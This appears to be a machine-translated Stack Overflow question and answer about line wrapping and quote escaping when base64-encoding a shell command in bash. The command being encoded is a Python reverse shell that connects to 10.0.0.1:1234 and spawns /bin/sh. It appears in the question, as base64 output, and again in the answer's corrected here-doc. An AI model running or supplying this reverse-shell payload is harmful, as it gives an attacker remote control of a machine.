如何在bash中以base64编码的字符串转义引号?

时间:2019-06-18 18:01:59

标签: bash base64

所以我正在尝试对包含python一个线性程序的字符串进行base64编码。

无论如何将base64编码的字符串拆分为多行,该如何逃避?我假设这是引号。 “'”

这是我尝试过的:

    echo "python -c 'import socket,subprocess,os; 
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
    s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
    p=subprocess.call(["/bin/sh","-i"]);'" | base64

它输出:

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz 
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx 
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k 
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=

1 个答案:

答案 0 :(得分:1)

  

无论将base64编码的字符串分成多行是什么?

根据输出的长度插入

换行符,根据输入的特殊符号插入 not 。参见man base64

  

-w, --wrap=COLS wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping

因此,您可以写echo someString | base64 -w0

请注意,如果您未正确引用字符串,bash可能会破坏您的字符串。在您的情况下,"中的subprocess.call(["/bin/sh","-i"])bash吞噬,而echo打印了 not 。编写\"或使用here-doc:

base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);'
EOF